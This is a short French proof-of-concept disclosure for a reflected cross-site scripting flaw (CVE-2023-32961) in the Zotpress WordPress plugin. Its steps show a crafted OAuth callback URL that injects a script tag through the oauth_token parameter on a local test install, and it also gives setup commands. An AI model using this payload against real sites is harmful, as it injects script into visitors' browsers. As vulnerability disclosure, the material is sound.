Comment reproduire (PoC)

1. Installez l'extension PHP oauth pour déclencher la vulnérabilité. (C'est une option de Zotpress)
2. Connectez-vous à zotero.org
3. Les conditions doivent être remplies pour que la fonction get_request_token s'exécute. (première fois uniquement) Envoyez une charge utile comme celle-ci : http://localhost:8080/wp-content/plugins/zotpress/lib/admin/admin.accounts.oauth.php?return_uri=http://localhost:8080&oauth_token=1
4. Envoyez la charge utile ci-dessous http://localhost:8080/wp-content/plugins/zotpress/lib/admin/admin.accounts.oauth.php?return_uri=http://localhost:8080&oauth_token="><script>alert(1)</script>

Informations supplémentaires

• Vous avez besoin d'un compte zotero.org.

• Vous devez définir la valeur de oauthState sur 1 pour la déclencher. Si la charge utile ci-dessus ne fonctionne pas, vous devez trouver un moyen de définir oauthState sur 1.

  • expression conditionnelle :

    root@kitploit:~

    $_GET['oauth_token'] != $state['request_token_info']['oauth_token']
    

• Installation facile de l'extension PHP oauth :

  • Commande en une ligne :

    root@kitploit:~

    sudo su; apt-get update; apt-get -y install gcc make autoconf libc-dev pkg-config libpcre3-dev; pecl install oauth; bash -c "echo extension=oauth.so > $PHP_INI_DIR/conf.d/oauth.ini"; service apache2 restart
    

• Testé avec l'image Docker wordpress:latest.

Vidéo du PoC

https://www.youtube.com/watch?v=5kZ7bNbs_-Q

Références

CVE-2023-32961